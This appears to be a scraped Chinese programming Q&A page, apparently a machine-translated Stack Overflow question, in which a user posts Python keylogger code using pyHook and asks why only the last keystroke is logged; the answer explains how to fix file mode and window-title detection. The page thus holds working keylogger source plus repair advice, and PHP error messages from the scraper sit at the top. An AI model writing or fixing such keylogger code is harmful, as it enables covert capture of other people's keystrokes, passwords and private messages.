Warning: file_get_contents(/data/phpspider/zhask/data//catemap/9/apache-flex/4.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181
Python 这个键盘记录员需要帮助吗_Python - Fatal编程技术网

Python 这个键盘记录员需要帮助吗

Python 这个键盘记录员需要帮助吗,python,Python,这个来源有一个问题。 一旦进入记事本之类的程序,就可以编写一个只写最后一个字符的文本 例如,程序记事本上写着:“我是一名程序员” 但是存储在上面的键盘记录器文件: [*] Window activated. [2015-11-25 09: 57: 08.805000] ********************** Untitled - Notepad | ********************** r 问题在哪里?我该怎么办?请告诉我 from threading import Time

这个来源有一个问题。 一旦进入记事本之类的程序,就可以编写一个只写最后一个字符的文本

例如,程序记事本上写着:“我是一名程序员” 但是存储在上面的键盘记录器文件:

[*] Window activated. [2015-11-25 09: 57: 08.805000]
**********************
  Untitled - Notepad |
**********************
r
问题在哪里?我该怎么办?请告诉我

from threading import Timer
import subprocess, socket, base64, time, datetime
import pythoncom, pyHook, win32api, win32gui,win32con, smtplib
from time import strftime,gmtime
LOG_ACTIVE=''
LOG_FILENAME="kianoush.txt"
def OnKeyboardEvent(event):
    global LOG_TEXT, LOG_FILE, LOG_STATE, LOG_ACTIVE, main_thread_id
    LOG_TEXT = ""
    LOG_FILE = open(LOG_FILENAME, 'w')
    WindowsTitle=''
    wg=win32gui
    LOG_NEWACTIVE = NewWindowsTitle     =                wg.GetWindowText(wg.GetForegroundWindow())
    if NewWindowsTitle!=WindowsTitle:
              LOG_DATE = datetime.datetime.now()
              LOG_TEXT += "\n\n[*] Window activated. [" +      str(LOG_DATE)    + "] \n"
              LOG_TEXT += "=" * len(LOG_NEWACTIVE) + "===\n"
              LOG_TEXT += " " + LOG_NEWACTIVE + " |\n"
              LOG_TEXT += "=" * len(LOG_NEWACTIVE) + "===\n\n"
              print LOG_TEXT
              WindowsTitle=NewWindowsTitle 
              LOG_FILE.write(LOG_TEXT)    
              LOG_TEXT = ""  
    if event.Ascii == 8: LOG_TEXT += "\b"
    elif event.Ascii == 13 or event.Ascii == 9: LOG_TEXT += "\n"
    else: LOG_TEXT += str(chr(event.Ascii))
    LOG_FILE.write(LOG_TEXT)
    LOG_FILE.close()
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()

我在您的代码中看到两个主要问题:

  • 以“w”模式打开文件会销毁其当前内容。您应该使用“a”(追加)
  • 检测新窗口的代码已损坏,并且始终将窗口名称与“”进行比较,从而为每个调用打印标题